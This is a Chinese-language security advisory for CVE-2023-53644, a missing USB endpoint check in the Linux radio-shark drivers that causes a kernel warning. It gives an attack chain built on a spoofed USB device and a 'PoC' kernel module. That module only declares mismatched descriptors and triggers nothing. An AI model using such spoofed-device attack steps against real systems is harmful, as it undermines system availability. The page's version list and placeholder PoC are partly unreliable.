IPBUF安全漏洞报告
English
CVE-2023-53644 CVSS 5.5 中危

CVE-2023-53644 Linux内核radio-shark驱动端点检查缺失漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53644
漏洞类型
输入验证不足/驱动端点检查缺失
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (media/radio-shark 和 radio-shark2 驱动)

相关标签

Linux Kernelradio-sharkradio-shark2USB驱动端点检查缺失输入验证本地权限可用性影响内核漏洞CWE-20

漏洞概述

CVE-2023-53644是Linux内核中media子系统的radio-shark和radio-shark2 USB驱动存在的安全漏洞。该漏洞源于驱动程序未对所使用的USB端点进行检查,未验证端点是否实际存在以及是否具有适当的类型。当使用syzbot模糊测试工具对驱动进行测试时,可以触发内核警告(WARNING),具体表现为USB核心层在调用usb_submit_urb()时检测到管道类型不匹配(pipe 1 != type 3),从而引发系统警告。

该漏洞的影响范围涉及Linux内核中的USB radio-shark/radio-shark2驱动,这些驱动用于支持某些FM/AM收音机USB设备。漏洞可能导致系统稳定性下降,触发内核警告并影响系统可用性。虽然CVSS评分为5.5(中危),且需要本地低权限访问才能利用,但其对系统可用性的影响为高(A:H),意味着成功利用可能导致系统崩溃或不可用状态。

该漏洞由Linux内核社区发现并修复,修复方式为在驱动中添加对USB端点存在性和类型的检查,确保驱动仅在端点配置正确的情况下执行操作。修复涉及多个稳定版本的内核补丁。

技术细节

该漏洞的技术原理在于radio-shark2驱动中的shark_write_reg()函数(位于drivers/media/radio/radio-shark2.c第88行)通过usb_bulk_msg()提交USB请求块(URB),但在提交之前未对USB端点的类型和方向进行充分验证。

具体技术细节如下:
1. 驱动通过usb_bulk_msg()函数发送批量传输请求,该函数内部调用usb_start_wait_urb(),最终调用usb_submit_urb()。
2. 在usb_submit_urb()中(drivers/usb/core/urb.c第504行),内核会检查URB的管道设置是否与端点类型匹配。
3. 当驱动未检查端点类型时,如果设备的端点配置与驱动预期不符(例如端点类型为中断传输而非批量传输),则会导致管道类型不匹配错误(pipe 1 != type 3)。
4. 这种不匹配会触发内核WARNING,虽然不会直接导致安全漏洞,但可能影响系统稳定性,且在某些情况下可能导致系统不可用。

利用方式:攻击者可以通过插入特制的USB设备(模拟radio-shark设备但使用错误的端点配置)来触发此漏洞。由于需要本地低权限访问(PR:L),攻击者需要物理接触或本地权限才能插入恶意USB设备。漏洞触发后可能导致内核警告、系统不稳定甚至系统崩溃,影响系统的可用性。

修复方案是在驱动初始化阶段添加端点检查,验证端点的存在性和类型是否符合驱动要求,确保只有正确的端点配置才能继续驱动操作。

攻击链分析

STEP 1
步骤1:准备恶意USB设备
攻击者准备一个特制的USB设备,该设备使用radio-shark的厂商ID(0x077d)和产品ID(0x627a),但将端点类型配置为中断传输(Interrupt)而非驱动预期的批量传输(Bulk)。
STEP 2
步骤2:插入恶意设备
攻击者将恶意USB设备插入目标系统的USB端口。由于radio-shark驱动会根据VID/PID自动匹配加载,驱动会尝试与该设备通信。
STEP 3
步骤3:驱动未检查端点
radio-shark2驱动在初始化时未检查端点的实际类型,直接尝试通过usb_bulk_msg()发送批量传输请求到配置为中断类型的端点。
STEP 4
步骤4:触发内核警告
USB核心层在usb_submit_urb()中检测到管道类型不匹配(pipe 1 != type 3),触发内核WARNING,可能导致系统不稳定或崩溃。
STEP 5
步骤5:影响系统可用性
反复触发该漏洞可能导致系统进入不稳定状态,影响系统可用性(A:H),严重情况下可能导致内核panic。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53644 - Linux kernel radio-shark driver endpoint check missing // This PoC simulates triggering the vulnerability by creating a malicious USB device // with incorrect endpoint configuration that the radio-shark driver doesn't validate #include <linux/usb.h> #include <linux/module.h> // Simulated USB device descriptor for a fake radio-shark device // with mismatched endpoint types to trigger the vulnerability static struct usb_device_descriptor fake_dev_desc = { .bLength = USB_DT_DEVICE_SIZE, .bDescriptorType = USB_DT_DEVICE, .bcdUSB = cpu_to_le16(0x0200), .bDeviceClass = USB_CLASS_PER_INTERFACE, .bDeviceSubClass = 0, .bDeviceProtocol = 0, .bMaxPacketSize0 = 64, .idVendor = 0x077d, // Griffin Technology vendor ID (radio-shark) .idProduct = 0x627a, // radio-shark2 product ID .bcdDevice = cpu_to_le16(0x0001), .iManufacturer = 1, .iProduct = 2, .iSerialNumber = 0, .bNumConfigurations = 1, }; // Endpoint configuration with WRONG type (interrupt instead of bulk) // This mismatch triggers the WARNING: pipe 1 != type 3 static struct usb_endpoint_descriptor fake_ep_desc = { .bLength = USB_DT_ENDPOINT_SIZE, .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = USB_DIR_OUT | 0x01, // EP1 OUT .bmAttributes = USB_ENDPOINT_XFER_INT, // INT type instead of BULK .wMaxPacketSize = cpu_to_le16(64), .bInterval = 1, }; /* * Trigger scenario: * 1. Create a USB device with the above descriptors * 2. When the radio-shark2 driver probes this device, it will try to * use the endpoint without checking its type * 3. shark_write_reg() calls usb_bulk_msg() with pipe type BULK * 4. usb_submit_urb() detects the mismatch and triggers WARNING * 5. This can lead to system instability or crash */ static int __init poc_radio_shark_init(void) { printk(KERN_INFO "CVE-2023-53644 PoC: Simulating radio-shark endpoint mismatch\n"); // The actual exploitation requires a physical USB device or VM with // USB emulation capabilities to trigger the vulnerability return 0; } static void __exit poc_radio_shark_exit(void) { printk(KERN_INFO "CVE-2023-53644 PoC: Unloaded\n"); } module_init(poc_radio_shark_init); module_exit(poc_radio_shark_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2023-53644 radio-shark endpoint check bypass");

影响范围

Linux Kernel < 6.1 (包含radio-shark/radio-shark2驱动的版本)
Linux Kernel 6.1.x (受影响)
Linux Kernel 6.2.x (受影响)
Linux Kernel 6.3.x (受影响)
Linux Kernel 6.4.x (受影响)
Linux Kernel 6.5.x (受影响)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解风险:1)在系统启动时通过blacklist机制禁用radio-shark和radio-shark2内核模块(添加到/etc/modprobe.d/blacklist.conf);2)限制系统的物理USB访问权限,仅允许可信设备接入;3)监控系统日志,及时发现和处理usb_submit_urb相关的WARNING信息;4)使用USB端口锁定或USBGuard等工具限制未知USB设备的接入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表